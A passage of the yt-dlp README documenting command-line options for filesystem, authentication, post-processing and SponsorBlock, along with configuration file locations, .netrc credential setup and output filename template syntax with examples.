for unavailable fields in "OUTPUT TEMPLATE" (default: "NA") --restrict-filenames Restrict filenames to only ASCII characters, and avoid "&" and spaces in filenames --no-restrict-filenames Allow Unicode characters, "&" and spaces in filenames (default) --windows-filenames Force filenames to be Windows-compatible --no-windows-filenames Make filenames Windows-compatible only if using Windows (default) --trim-filenames LENGTH Limit the filename length (excluding extension) to the specified number of characters -w, --no-overwrites Do not overwrite any files --force-overwrites Overwrite all video and metadata files. This option includes --no-continue --no-force-overwrites Do not overwrite the video, but overwrite related files (default) -c, --continue Resume partially downloaded files/fragments (default) --no-continue Do not resume partially downloaded fragments. If the file is not fragmented, restart download of the entire file --part Use .part files instead of writing directly into output file (default) --no-part Do not use .part files - write directly into output file --mtime Use the Last-modified header to set the file modification time (default) --no-mtime Do not use the Last-modified header to set the file modification time --write-description Write video description to a .description file --no-write-description Do not write video description (default) --write-info-json Write video metadata to a .info.json file (this may contain personal information) --no-write-info-json Do not write video metadata (default) --write-playlist-metafiles Write playlist metadata in addition to the video metadata when using --write-info-json, --write-description etc. (default) --no-write-playlist-metafiles Do not write playlist metadata when using --write-info-json, --write-description etc. --clean-info-json Remove some internal metadata such as filenames from the infojson (default) --no-clean-info-json Write all fields to the infojson --write-comments Retrieve video comments to be placed in the infojson. The comments are fetched even without this option if the extraction is known to be quick (Alias: --get-comments) --no-write-comments Do not retrieve video comments unless the extraction is known to be quick (Alias: --no-get-comments) --load-info-json FILE JSON file containing the video information (created with the "--write-info-json" option) --cookies FILE Netscape formatted file to read cookies from and dump cookie jar in --no-cookies Do not read/dump cookies from/to file (default) --cookies-from-browser BROWSER[+KEYRING][:PROFILE][::CONTAINER] The name of the browser to load cookies from. Currently supported browsers are: brave, chrome, chromium, edge, firefox, opera, safari, vivaldi. Optionally, the KEYRING used for decrypting Chromium cookies on Linux, the name/path of the PROFILE to load cookies from, and the CONTAINER name (if Firefox) ("none" for no container) can be given with their respective seperators. By default, all containers of the most recently accessed profile are used. Currently supported keyrings are: basictext, gnomekeyring, kwallet, kwallet5, kwallet6 --no-cookies-from-browser Do not load cookies from browser (default) --cache-dir DIR Location in the filesystem where yt-dlp can store some downloaded information (such as client ids and signatures) permanently. By default ${XDG_CACHE_HOME}/yt-dlp --no-cache-dir Disable filesystem caching --rm-cache-dir Delete all filesystem cache files ## Thumbnail Options: --write-thumbnail Write thumbnail image to disk --no-write-thumbnail Do not write thumbnail image to disk (default) --write-all-thumbnails Write all thumbnail image formats to disk --list-thumbnails List available thumbnails of each video. Simulate unless --no-simulate is used ## Internet Shortcut Options: --write-link Write an internet shortcut file, depending on the current platform (.url, .webloc or .desktop). The URL may be cached by the OS --write-url-link Write a .url Windows internet shortcut. The OS caches the URL based on the file path --write-webloc-link Write a .webloc macOS internet shortcut --write-desktop-link Write a .desktop Linux internet shortcut ## Verbosity and Simulation Options: -q, --quiet Activate quiet mode. If used with --verbose, print the log to stderr --no-quiet Deactivate quiet mode. (Default) --no-warnings Ignore warnings -s, --simulate Do not download the video and do not write anything to disk --no-simulate Download the video even if printing/listing options are used --ignore-no-formats-error Ignore "No video formats" error. Useful for extracting metadata even if the videos are not actually available for download (experimental) --no-ignore-no-formats-error Throw error when no downloadable video formats are found (default) --skip-download Do not download the video but write all related files (Alias: --no-download) -O, --print [WHEN:]TEMPLATE Field name or output template to print to screen, optionally prefixed with when to print it, separated by a ":". Supported values of "WHEN" are the same as that of --use-postprocessor (default: video). Implies --quiet. Implies --simulate unless --no-simulate or later stages of WHEN are used. This option can be used multiple times --print-to-file [WHEN:]TEMPLATE FILE Append given template to the file. The values of WHEN and TEMPLATE are same as that of --print. FILE uses the same syntax as the output template. This option can be used multiple times -j, --dump-json Quiet, but print JSON information for each video. Simulate unless --no-simulate is used. See "OUTPUT TEMPLATE" for a description of available keys -J, --dump-single-json Quiet, but print JSON information for each url or infojson passed. Simulate unless --no-simulate is used. If the URL refers to a playlist, the whole playlist information is dumped in a single line --force-write-archive Force download archive entries to be written as far as no errors occur, even if -s or another simulation option is used (Alias: --force-download-archive) --newline Output progress bar as new lines --no-progress Do not print progress bar --progress Show progress bar, even if in quiet mode --console-title Display progress in console titlebar --progress-template [TYPES:]TEMPLATE Template for progress outputs, optionally prefixed with one of "download:" (default), "download-title:" (the console title), "postprocess:", or "postprocess-title:". The video's fields are accessible under the "info" key and the progress attributes are accessible under "progress" key. E.g. --console-title --progress-template "download-title:%(info.id)s-%(progress.eta)s" -v, --verbose Print various debugging information --dump-pages Print downloaded pages encoded using base64 to debug problems (very verbose) --write-pages Write downloaded intermediary pages to files in the current directory to debug problems --print-traffic Display sent and read HTTP traffic ## Workarounds: --encoding ENCODING Force the specified encoding (experimental) --legacy-server-connect Explicitly allow HTTPS connection to servers that do not support RFC 5746 secure renegotiation --no-check-certificates Suppress HTTPS certificate validation --prefer-insecure Use an unencrypted connection to retrieve information about the video (Currently supported only for YouTube) --add-headers FIELD:VALUE Specify a custom HTTP header and its value, separated by a colon ":". You can use this option multiple times --bidi-workaround Work around terminals that lack bidirectional text support. Requires bidiv or fribidi executable in PATH --sleep-requests SECONDS Number of seconds to sleep between requests during data extraction --sleep-interval SECONDS Number of seconds to sleep before each download. This is the minimum time to sleep when used along with --max-sleep-interval (Alias: --min-sleep-interval) --max-sleep-interval SECONDS Maximum number of seconds to sleep. Can only be used along with --min-sleep-interval --sleep-subtitles SECONDS Number of seconds to sleep before each subtitle download ## Video Format Options: -f, --format FORMAT Video format code, see "FORMAT SELECTION" for more details -S, --format-sort SORTORDER Sort the formats by the fields given, see "Sorting Formats" for more details --format-sort-force Force user specified sort order to have precedence over all fields, see "Sorting Formats" for more details (Alias: --S-force) --no-format-sort-force Some fields have precedence over the user specified sort order (default) --video-multistreams Allow multiple video streams to be merged into a single file --no-video-multistreams Only one video stream is downloaded for each output file (default) --audio-multistreams Allow multiple audio streams to be merged into a single file --no-audio-multistreams Only one audio stream is downloaded for each output file (default) --prefer-free-formats Prefer video formats with free containers over non-free ones of same quality. Use with "-S ext" to strictly prefer free containers irrespective of quality --no-prefer-free-formats Don't give any special preference to free containers (default) --check-formats Make sure formats are selected only from those that are actually downloadable --check-all-formats Check all formats for whether they are actually downloadable --no-check-formats Do not check that the formats are actually downloadable -F, --list-formats List available formats of each video. Simulate unless --no-simulate is used --merge-output-format FORMAT Containers that may be used when merging formats, separated by "/", e.g. "mp4/mkv". Ignored if no merge is required. (currently supported: avi, flv, mkv, mov, mp4, webm) ## Subtitle Options: --write-subs Write subtitle file --no-write-subs Do not write subtitle file (default) --write-auto-subs Write automatically generated subtitle file (Alias: --write-automatic-subs) --no-write-auto-subs Do not write auto-generated subtitles (default) (Alias: --no-write-automatic-subs) --list-subs List available subtitles of each video. Simulate unless --no-simulate is used --sub-format FORMAT Subtitle format; accepts formats preference, e.g. "srt" or "ass/srt/best" --sub-langs LANGS Languages of the subtitles to download (can be regex) or "all" separated by commas, e.g. --sub-langs "en.*,ja". You can prefix the language code with a "-" to exclude it from the requested languages, e.g. --sub-langs all,-live_chat. Use --list-subs for a list of available language tags ## Authentication Options: -u, --username USERNAME Login with this account ID -p, --password PASSWORD Account password. If this option is left out, yt-dlp will ask interactively -2, --twofactor TWOFACTOR Two-factor authentication code -n, --netrc Use .netrc authentication data --netrc-location PATH Location of .netrc authentication data; either the path or its containing directory. Defaults to ~/.netrc --netrc-cmd NETRC_CMD Command to execute to get the credentials for an extractor. --video-password PASSWORD Video password (vimeo, youku) --ap-mso MSO Adobe Pass multiple-system operator (TV provider) identifier, use --ap-list-mso for a list of available MSOs --ap-username USERNAME Multiple-system operator account login --ap-password PASSWORD Multiple-system operator account password. If this option is left out, yt-dlp will ask interactively --ap-list-mso List all supported multiple-system operators --client-certificate CERTFILE Path to client certificate file in PEM format. May include the private key --client-certificate-key KEYFILE Path to private key file for client certificate --client-certificate-password PASSWORD Password for client certificate private key, if encrypted. If not provided, and the key is encrypted, yt-dlp will ask interactively ## Post-Processing Options: -x, --extract-audio Convert video files to audio-only files (requires ffmpeg and ffprobe) --audio-format FORMAT Format to convert the audio to when -x is used. (currently supported: best (default), aac, alac, flac, m4a, mp3, opus, vorbis, wav). You can specify multiple rules using similar syntax as --remux-video --audio-quality QUALITY Specify ffmpeg audio quality to use when converting the audio with -x. Insert a value between 0 (best) and 10 (worst) for VBR or a specific bitrate like 128K (default 5) --remux-video FORMAT Remux the video into another container if necessary (currently supported: avi, flv, gif, mkv, mov, mp4, webm, aac, aiff, alac, flac, m4a, mka, mp3, ogg, opus, vorbis, wav). If target container does not support the video/audio codec, remuxing will fail. You can specify multiple rules; e.g. "aac>m4a/mov>mp4/mkv" will remux aac to m4a, mov to mp4 and anything else to mkv --recode-video FORMAT Re-encode the video into another format if necessary. The syntax and supported formats are the same as --remux-video --postprocessor-args NAME:ARGS Give these arguments to the postprocessors. Specify the postprocessor/executable name and the arguments separated by a colon ":" to give the argument to the specified postprocessor/executable. Supported PP are: Merger, ModifyChapters, SplitChapters, ExtractAudio, VideoRemuxer, VideoConvertor, Metadata, EmbedSubtitle, EmbedThumbnail, SubtitlesConvertor, ThumbnailsConvertor, FixupStretched, FixupM4a, FixupM3u8, FixupTimestamp and FixupDuration. The supported executables are: AtomicParsley, FFmpeg and FFprobe. You can also specify "PP+EXE:ARGS" to give the arguments to the specified executable only when being used by the specified postprocessor. Additionally, for ffmpeg/ffprobe, "_i"/"_o" can be appended to the prefix optionally followed by a number to pass the argument before the specified input/output file, e.g. --ppa "Merger+ffmpeg_i1:-v quiet". You can use this option multiple times to give different arguments to different postprocessors. (Alias: --ppa) -k, --keep-video Keep the intermediate video file on disk after post-processing --no-keep-video Delete the intermediate video file after post-processing (default) --post-overwrites Overwrite post-processed files (default) --no-post-overwrites Do not overwrite post-processed files --embed-subs Embed subtitles in the video (only for mp4, webm and mkv videos) --no-embed-subs Do not embed subtitles (default) --embed-thumbnail Embed thumbnail in the video as cover art --no-embed-thumbnail Do not embed thumbnail (default) --embed-metadata Embed metadata to the video file. Also embeds chapters/infojson if present unless --no-embed-chapters/--no-embed-info-json are used (Alias: --add-metadata) --no-embed-metadata Do not add metadata to file (default) (Alias: --no-add-metadata) --embed-chapters Add chapter markers to the video file (Alias: --add-chapters) --no-embed-chapters Do not add chapter markers (default) (Alias: --no-add-chapters) --embed-info-json Embed the infojson as an attachment to mkv/mka video files --no-embed-info-json Do not embed the infojson as an attachment to the video file --parse-metadata [WHEN:]FROM:TO Parse additional metadata like title/artist from other fields; see "MODIFYING METADATA" for details. Supported values of "WHEN" are the same as that of --use-postprocessor (default: pre_process) --replace-in-metadata [WHEN:]FIELDS REGEX REPLACE Replace text in a metadata field using the given regex. This option can be used multiple times. Supported values of "WHEN" are the same as that of --use-postprocessor (default: pre_process) --xattrs Write metadata to the video file's xattrs (using dublin core and xdg standards) --concat-playlist POLICY Concatenate videos in a playlist. One of "never", "always", or "multi_video" (default; only when the videos form a single show). All the video files must have same codecs and number of streams to be concatable. The "pl_video:" prefix can be used with "--paths" and "--output" to set the output filename for the concatenated files. See "OUTPUT TEMPLATE" for details --fixup POLICY Automatically correct known faults of the file. One of never (do nothing), warn (only emit a warning), detect_or_warn (the default; fix file if we can, warn otherwise), force (try fixing even if file already exists) --ffmpeg-location PATH Location of the ffmpeg binary; either the path to the binary or its containing directory --exec [WHEN:]CMD Execute a command, optionally prefixed with when to execute it, separated by a ":". Supported values of "WHEN" are the same as that of --use-postprocessor (default: after_move). Same syntax as the output template can be used to pass any field as arguments to the command. If no fields are passed, %(filepath,_filename|)q is appended to the end of the command. This option can be used multiple times --no-exec Remove any previously defined --exec --convert-subs FORMAT Convert the subtitles to another format (currently supported: ass, lrc, srt, vtt) (Alias: --convert-subtitles) --convert-thumbnails FORMAT Convert the thumbnails to another format (currently supported: jpg, png, webp). You can specify multiple rules using similar syntax as --remux-video --split-chapters Split video into multiple files based on internal chapters. The "chapter:" prefix can be used with "--paths" and "--output" to set the output filename for the split files. See "OUTPUT TEMPLATE" for details --no-split-chapters Do not split video based on chapters (default) --remove-chapters REGEX Remove chapters whose title matches the given regular expression. The syntax is the same as --download-sections. This option can be used multiple times --no-remove-chapters Do not remove any chapters from the file (default) --force-keyframes-at-cuts Force keyframes at cuts when downloading/splitting/removing sections. This is slow due to needing a re-encode, but the resulting video may have fewer artifacts around the cuts --no-force-keyframes-at-cuts Do not force keyframes around the chapters when cutting/splitting (default) --use-postprocessor NAME[:ARGS] The (case sensitive) name of plugin postprocessors to be enabled, and (optionally) arguments to be passed to it, separated by a colon ":". ARGS are a semicolon ";" delimited list of NAME=VALUE. The "when" argument determines when the postprocessor is invoked. It can be one of "pre_process" (after video extraction), "after_filter" (after video passes filter), "video" (after --format; before --print/--output), "before_dl" (before each video download), "post_process" (after each video download; default), "after_move" (after moving video file to it's final locations), "after_video" (after downloading and processing all formats of a video), or "playlist" (at end of playlist). This option can be used multiple times to add different postprocessors ## SponsorBlock Options: Make chapter entries for, or remove various segments (sponsor, introductions, etc.) from downloaded YouTube videos using the [SponsorBlock API](https://sponsor.ajay.app) --sponsorblock-mark CATS SponsorBlock categories to create chapters for, separated by commas. Available categories are sponsor, intro, outro, selfpromo, preview, filler, interaction, music_offtopic, poi_highlight, chapter, all and default (=all). You can prefix the category with a "-" to exclude it. See [1] for description of the categories. E.g. --sponsorblock-mark all,-preview [1] https://wiki.sponsor.ajay.app/w/Segment_Categories --sponsorblock-remove CATS SponsorBlock categories to be removed from the video file, separated by commas. If a category is present in both mark and remove, remove takes precedence. The syntax and available categories are the same as for --sponsorblock-mark except that "default" refers to "all,-filler" and poi_highlight, chapter are not available --sponsorblock-chapter-title TEMPLATE An output template for the title of the SponsorBlock chapters created by --sponsorblock-mark. The only available fields are start_time, end_time, category, categories, name, category_names. Defaults to "[SponsorBlock]: %(category_names)l" --no-sponsorblock Disable both --sponsorblock-mark and --sponsorblock-remove --sponsorblock-api URL SponsorBlock API location, defaults to https://sponsor.ajay.app ## Extractor Options: --extractor-retries RETRIES Number of retries for known extractor errors (default is 3), or "infinite" --allow-dynamic-mpd Process dynamic DASH manifests (default) (Alias: --no-ignore-dynamic-mpd) --ignore-dynamic-mpd Do not process dynamic DASH manifests (Alias: --no-allow-dynamic-mpd) --hls-split-discontinuity Split HLS playlists to different formats at discontinuities such as ad breaks --no-hls-split-discontinuity Do not split HLS playlists to different formats at discontinuities such as ad breaks (default) --extractor-args IE_KEY:ARGS Pass ARGS arguments to the IE_KEY extractor. See "EXTRACTOR ARGUMENTS" for details. You can use this option multiple times to give arguments for different extractors # CONFIGURATION You can configure yt-dlp by placing any supported command line option to a configuration file. The configuration is loaded from the following locations: 1. **Main Configuration**: * The file given by `--config-location` 1. **Portable Configuration**: (Recommended for portable installations) * If using a binary, `yt-dlp.conf` in the same directory as the binary * If running from source-code, `yt-dlp.conf` in the parent directory of `yt_dlp` 1. **Home Configuration**: * `yt-dlp.conf` in the home path given by `-P` * If `-P` is not given, the current directory is searched 1. **User Configuration**: * `${XDG_CONFIG_HOME}/yt-dlp.conf` * `${XDG_CONFIG_HOME}/yt-dlp/config` (recommended on Linux/macOS) * `${XDG_CONFIG_HOME}/yt-dlp/config.txt` * `${APPDATA}/yt-dlp.conf` * `${APPDATA}/yt-dlp/config` (recommended on Windows) * `${APPDATA}/yt-dlp/config.txt` * `~/yt-dlp.conf` * `~/yt-dlp.conf.txt` * `~/.yt-dlp/config` * `~/.yt-dlp/config.txt` See also: [Notes about environment variables](#notes-about-environment-variables) 1. **System Configuration**: * `/etc/yt-dlp.conf` * `/etc/yt-dlp/config` * `/etc/yt-dlp/config.txt` E.g. with the following configuration file yt-dlp will always extract the audio, not copy the mtime, use a proxy and save all videos under `YouTube` directory in your home directory: ``` # Lines starting with # are comments # Always extract audio -x # Do not copy the mtime --no-mtime # Use this proxy --proxy 127.0.0.1:3128 # Save all videos under YouTube directory in your home directory -o ~/YouTube/%(title)s.%(ext)s ``` **Note**: Options in configuration file are just the same options aka switches used in regular command line calls; thus there **must be no whitespace** after `-` or `--`, e.g. `-o` or `--proxy` but not `- o` or `-- proxy`. They must also be quoted when necessary as-if it were a UNIX shell. You can use `--ignore-config` if you want to disable all configuration files for a particular yt-dlp run. If `--ignore-config` is found inside any configuration file, no further configuration will be loaded. For example, having the option in the portable configuration file prevents loading of home, user, and system configurations. Additionally, (for backward compatibility) if `--ignore-config` is found inside the system configuration file, the user configuration is not loaded. ### Configuration file encoding The configuration files are decoded according to the UTF BOM if present, and in the encoding from system locale otherwise. If you want your file to be decoded differently, add `# coding: ENCODING` to the beginning of the file (e.g. `# coding: shift-jis`). There must be no characters before that, even spaces or BOM. ### Authentication with netrc You may also want to configure automatic credentials storage for extractors that support authentication (by providing login and password with `--username` and `--password`) in order not to pass credentials as command line arguments on every yt-dlp execution and prevent tracking plain text passwords in the shell command history. You can achieve this using a [`.netrc` file](https://stackoverflow.com/tags/.netrc/info) on a per-extractor basis. For that you will need to create a `.netrc` file in `--netrc-location` and restrict permissions to read/write by only you: ``` touch ${HOME}/.netrc chmod a-rwx,u+rw ${HOME}/.netrc ``` After that you can add credentials for an extractor in the following format, where *extractor* is the name of the extractor in lowercase: ``` machine <extractor> login <username> password <password> ``` E.g. ``` machine youtube login [email protected] password my_youtube_password machine twitch login my_twitch_account_name password my_twitch_password ``` To activate authentication with the `.netrc` file you should pass `--netrc` to yt-dlp or place it in the [configuration file](#configuration). The default location of the .netrc file is `~` (see below). As an alternative to using the `.netrc` file, which has the disadvantage of keeping your passwords in a plain text file, you can configure a custom shell command to provide the credentials for an extractor. This is done by providing the `--netrc-cmd` parameter, it shall output the credentials in the netrc format and return `0` on success, other values will be treated as an error. `{}` in the command will be replaced by the name of the extractor to make it possible to select the credentials for the right extractor. E.g. To use an encrypted `.netrc` file stored as `.authinfo.gpg` ``` yt-dlp --netrc-cmd 'gpg --decrypt ~/.authinfo.gpg' https://www.youtube.com/watch?v=BaW_jenozKc ``` ### Notes about environment variables * Environment variables are normally specified as `${VARIABLE}`/`$VARIABLE` on UNIX and `%VARIABLE%` on Windows; but is always shown as `${VARIABLE}` in this documentation * yt-dlp also allow using UNIX-style variables on Windows for path-like options; e.g. `--output`, `--config-location` * If unset, `${XDG_CONFIG_HOME}` defaults to `~/.config` and `${XDG_CACHE_HOME}` to `~/.cache` * On Windows, `~` points to `${HOME}` if present; or, `${USERPROFILE}` or `${HOMEDRIVE}${HOMEPATH}` otherwise * On Windows, `${USERPROFILE}` generally points to `C:\Users\<user name>` and `${APPDATA}` to `${USERPROFILE}\AppData\Roaming` # OUTPUT TEMPLATE The `-o` option is used to indicate a template for the output file names while `-P` option is used to specify the path each type of file should be saved to. <!-- MANPAGE: BEGIN EXCLUDED SECTION --> **tl;dr:** [navigate me to examples](#output-template-examples). <!-- MANPAGE: END EXCLUDED SECTION --> The simplest usage of `-o` is not to set any template arguments when downloading a single file, like in `yt-dlp -o funny_video.flv "https://some/video"` (hard-coding file extension like this is _not_ recommended and could break some post-processing). It may however also contain special sequences that will be replaced when downloading each video. The special sequences may be formatted according to [Python string formatting operations](https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting), e.g. `%(NAME)s` or `%(NAME)05d`. To clarify, that is a percent symbol followed by a name in parentheses, followed by formatting operations. The field names themselves (the part inside the parenthesis) can also have some special formatting: 1. **Object traversal**: The dictionaries and lists available in metadata can be traversed by using a dot `.` separator; e.g. `%(tags.0)s`, `%(subtitles.en.-1.ext)s`. You can do Python slicing with colon `:`; E.g. `%(id.3:7:-1)s`, `%(formats.:.format_id)s`. Curly braces `{}` can be used to build dictionaries with only specific keys; e.g. `%(formats.:.{format_id,height})#j`. An empty field name `%()s` refers to the entire infodict; e.g. `%(.{id,title})s`. Note that all the fields that become available using this method are not listed below. Use `-j` to see such fields 1. **Addition**: Addition and subtraction of numeric fields can be done using `+` and `-` respectively. E.g. `%(playlist_index+10)03d`, `%(n_entries+1-playlist_index)d` 1. **Date/time Formatting**: Date/time fields can be formatted according to [strftime formatting](https://docs.python.org/3/library/datetime.html#strftime-and-strptime-format-codes) by specifying it separated from the field name using a `>`. E.g. `%(duration>%H-%M-%S)s`, `%(upload_date>%Y-%m-%d)s`, `%(epoch-3600>%H-%M-%S)s` 1. **Alternatives**: Alternate fields can be specified separated with a `,`. E.g. `%(release_date>%Y,upload_date>%Y|Unknown)s` 1. **Replacement**: A replacement value can be specified using a `&` separator according to the [`str.format` mini-language](https://docs.python.org/3/library/string.html#format-specification-mini-language). If the field is *not* empty, this replacement value will be used instead of the actual field content. This is done after alternate fields are considered; thus the replacement is used if *any* of the alternative fields is *not* empty. E.g. `%(chapters&has chapters|no chapters)s`, `%(title&TITLE={:>20}|NO TITLE)s` 1. **Default**: A literal default value can be specified for when the field is empty using a `|` separator. This overrides `--output-na-placeholder`. E.g. `%(uploader|Unknown)s` 1. **More Conversions**: In addition to the normal format types `diouxXeEfFgGcrs`, yt-dlp additionally supports converting to `B` = **B**ytes, `j` = **j**son (flag `#` for pretty-printing, `+` for Unicode), `h` = HTML escaping, `l` = a comma separated **l**ist (flag `#` for `\n` newline-separated), `q` = a string **q**uoted for the terminal (flag `#` to split a list into different arguments), `D` = add **D**ecimal suffixes (e.g. 10M) (flag `#` to use 1024 as factor), and `S` = **S**anitize as filename (flag `#` for restricted) 1. **Unicode normalization**: The format type `U` can be used for NFC [Unicode normalization](https://docs.python.org/3/library/unicodedata.html#unicodedata.normalize). The alternate form flag (`#`) changes the normalization to NFD and the conversion flag `+` can be used for NFKC/NFKD compatibility equivalence normalization. E.g. `%(title)+.100U` is NFKC To summarize, the general syntax for a field is: ``` %(name[.keys][addition][>strf][,alternate][&replacement][|default])[flags][width][.precision][length]type ``` Additionally, you can set different output templates for the various metadata files separately from the general output template by specifying the type of file followed by the template separated by a colon `:`. The different file types supported are `subtitle`, `thumbnail`, `description`, `annotation` (deprecated), `infojson`, `link`, `pl_thumbnail`, `pl_description`, `pl_infojson`, `chapter`, `pl_video`. E.g. `-o "%(title)s.%(ext)s" -o "thumbnail:%(title)s\%(title)s.%(ext)s"` will put the thumbnails in a folder with the same name as the video. If any of the templates is empty, that type of file will not be written. E.g. `--write-thumbnail -o "thumbnail:"` will write thumbnails only for playlists and not for video. <a id="outtmpl-postprocess-note"/> **Note**: Due to post-processing (i.e. merging etc.), the actual output filename might differ. Use `--print after_move:filepath` to get the name after all post-processing is complete. The available fields are: - `id` (string): Video identifier - `title` (string): Video title - `fulltitle` (string): Video title ignoring live timestamp and generic title - `ext` (string): Video filename extension - `alt_title` (string): A secondary title of the video - `description` (string): The description of the video - `display_id` (string): An alternative identifier for the video - `uploader` (string): Full name of the video uploader - `license` (string): License name the video is licensed under - `creator` (string): The creator of the video - `timestamp` (numeric): UNIX timestamp of the moment the video became available - `upload_date` (string): Video upload date in UTC (YYYYMMDD) - `release_timestamp` (numeric): UNIX timestamp of the moment the video was released - `release_date` (string): The date (YYYYMMDD) when the video was released in UTC - `modified_timestamp` (numeric): UNIX timestamp of the moment the video was last modified - `modified_date` (string): The date (YYYYMMDD) when the video was last modified in UTC - `uploader_id` (string): Nickname or id of the video uploader - `channel` (string): Full name of the channel the video is uploaded on - `channel_id` (string): Id of the channel - `channel_follower_count` (numeric): Number of followers of the channel - `channel_is_verified` (boolean): Whether the channel is verified on the platform - `location` (string): Physical location where the video was filmed - `duration` (numeric): Length of the video in seconds - `duration_string` (string): Length of the video (HH:mm:ss) - `view_count` (numeric): How many users have watched the video on the platform - `concurrent_view_count` (numeric): How many users are currently watching the video on the platform. - `like_count` (numeric): Number of positive ratings of the video - `dislike_count` (numeric): Number of negative ratings of the video - `repost_count` (numeric): Number of reposts of the video - `average_rating` (numeric): Average rating give by users, the scale used depends on the webpage - `comment_count` (numeric): Number of comments on the video (For some extractors, comments are only downloaded at the end, and so this field cannot be used) - `age_limit` (numeric): Age restriction for the video (years) - `live_status` (string): One of "not_live", "is_live", "is_upcoming", "was_live", "post_live" (was live, but VOD is not yet processed) - `is_live` (boolean): Whether this video is a live stream or a fixed-length video - `was_live` (boolean): Whether this video was originally a live stream - `playable_in_embed` (string): Whether this video is allowed to play in embedded players on other sites - `availability` (string): Whether the video is "private", "premium_only", "subscriber_only", "needs_auth", "unlisted" or "public" - `start_time` (numeric): Time in seconds where the reproduction should start, as specified in the URL - `end_time` (numeric): Time in seconds where the reproduction should end, as specified in the URL - `extractor` (string): Name of the extractor - `extractor_key` (string): Key name of the extractor - `epoch` (numeric): Unix epoch of when the information extraction was completed - `autonumber` (numeric): Number that will be increased with each download, starting at `--autonumber-start` - `video_autonumber` (numeric): Number that will be increased with each video - `n_entries` (numeric): Total number of extracted items in the playlist - `playlist_id` (string): Identifier of the playlist that contains the video - `playlist_title` (string): Name of the playlist that contains the video - `playlist` (string): `playlist_id` or `playlist_title` - `playlist_count` (numeric): Total number of items in the playlist. May not be known if entire playlist is not extracted - `playlist_index` (numeric): Index of the video in the playlist padded with leading zeros according the final index - `playlist_autonumber` (numeric): Position of the video in the playlist download queue padded with leading zeros according to the total length of the playlist - `playlist_uploader` (string): Full name of the playlist uploader - `playlist_uploader_id` (string): Nickname or id of the playlist uploader - `webpage_url` (string): A URL to the video webpage which if given to yt-dlp should allow to get the same result again - `webpage_url_basename` (string): The basename of the webpage URL - `webpage_url_domain` (string): The domain of the webpage URL - `original_url` (string): The URL given by the user (or same as `webpage_url` for playlist entries) All the fields in [Filtering Formats](#filtering-formats) can also be used Available for the video that belongs to some logical chapter or section: - `chapter` (string): Name or title of the chapter the video belongs to - `chapter_number` (numeric): Number of the chapter the video belongs to - `chapter_id` (string): Id of the chapter the video belongs to Available for the video that is an episode of some series or programme: - `series` (string): Title of the series or programme the video episode belongs to - `season` (string): Title of the season the video episode belongs to - `season_number` (numeric): Number of the season the video episode belongs to - `season_id` (string): Id of the season the video episode belongs to - `episode` (string): Title of the video episode - `episode_number` (numeric): Number of the video episode within a season - `episode_id` (string): Id of the video episode Available for the media that is a track or a part of a music album: - `track` (string): Title of the track - `track_number` (numeric): Number of the track within an album or a disc - `track_id` (string): Id of the track - `artist` (string): Artist(s) of the track - `genre` (string): Genre(s) of the track - `album` (string): Title of the album the track belongs to - `album_type` (string): Type of the album - `album_artist` (string): List of all artists appeared on the album - `disc_number` (numeric): Number of the disc or other physical medium the track belongs to - `release_year` (numeric): Year (YYYY) when the album was released Available only when using `--download-sections` and for `chapter:` prefix when using `--split-chapters` for videos with internal chapters: - `section_title` (string): Title of the chapter - `section_number` (numeric): Number of the chapter within the file - `section_start` (numeric): Start time of the chapter in seconds - `section_end` (numeric): End time of the chapter in seconds Available only when used in `--print`: - `urls` (string): The URLs of all requested formats, one in each line - `filename` (string): Name of the video file. Note that the [actual filename may differ](#outtmpl-postprocess-note) - `formats_table` (table): The video format table as printed by `--list-formats` - `thumbnails_table` (table): The thumbnail format table as printed by `--list-thumbnails` - `subtitles_table` (table): The subtitle format table as printed by `--list-subs` - `automatic_captions_table` (table): The automatic subtitle format table as printed by `--list-subs` Available only after the video is downloaded (`post_process`/`after_move`): - `filepath`: Actual path of downloaded video file Available only in `--sponsorblock-chapter-title`: - `start_time` (numeric): Start time of the chapter in seconds - `end_time` (numeric): End time of the chapter in seconds - `categories` (list): The [SponsorBlock categories](https://wiki.sponsor.ajay.app/w/Types#Category) the chapter belongs to - `category` (string): The smallest SponsorBlock category the chapter belongs to - `category_names` (list): Friendly names of the categories - `name` (string): Friendly name of the smallest category - `type` (string): The [SponsorBlock action type](https://wiki.sponsor.ajay.app/w/Types#Action_Type) of the chapter Each aforementioned sequence when referenced in an output template will be replaced by the actual value corresponding to the sequence name. E.g. for `-o %(title)s-%(id)s.%(ext)s` and an mp4 video with title `yt-dlp test video` and id `BaW_jenozKc`, this will result in a `yt-dlp test video-BaW_jenozKc.mp4` file created in the current directory. **Note**: Some of the sequences are not guaranteed to be present since they depend on the metadata obtained by a particular extractor. Such sequences will be replaced with placeholder value provided with `--output-na-placeholder` (`NA` by default). **Tip**: Look at the `-j` output to identify which fields are available for the particular URL For numeric sequences you can use [numeric related formatting](https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting); e.g. `%(view_count)05d` will result in a string with view count padded with zeros up to 5 characters, like in `00042`. Output templates can also contain arbitrary hierarchical path, e.g. `-o "%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s"` which will result in downloading each video in a directory corresponding to this path template. Any missing directory will be automatically created for you. To use percent literals in an output template use `%%`. To output to stdout use `-o -`. The current default template is `%(title)s [%(id)s].%(ext)s`. In some cases, you don't want special characters such as 中, spaces, or &, such as when transferring the downloaded filename to a Windows system or the filename through an 8bit-unsafe channel. In these cases, add the `--restrict-filenames` flag to get a shorter title. #### Output template examples ```bash $ yt-dlp --print filename -o "test video.%(ext)s" BaW_jenozKc test video.webm # Literal name with correct extension $ yt-dlp --print filename -o "%(title)s.%(ext)s" BaW_jenozKc youtube-dl test video ''_ä↭𝕐.webm # All kinds of weird characters $ yt-dlp --print filename -o "%(title)s.%(ext)s" BaW_jenozKc --restrict-filenames youtube-dl_test_video_.webm # Restricted file name # Download YouTube playlist videos in separate directory indexed by video order in a playlist $ yt-dlp -o "%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s" "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re" # Download YouTube playlist videos in separate directories according to their uploaded year $ yt-dlp -o "%(upload_date>%Y)s/%(title)s.%(ext)s" "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re" # Prefix playlist index with " - " separator, but only if it is available $ yt-dlp -o "%(playlist_index&{} - |)s%(title)s.%(ext)s" BaW_jenozKc "https://www.youtube.com/user/TheLinuxFoundation/playlists" # Download all playlists of YouTube 